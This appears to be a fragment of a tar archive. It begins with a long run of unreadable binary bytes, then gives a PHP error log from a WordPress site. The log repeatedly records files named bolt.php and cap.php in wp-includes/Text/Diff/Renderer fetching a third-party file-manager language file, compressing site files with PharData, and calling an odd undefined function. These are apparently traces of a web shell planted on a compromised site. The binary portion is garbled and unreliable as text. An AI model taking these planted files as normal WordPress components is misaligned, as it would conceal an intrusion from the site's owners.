{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
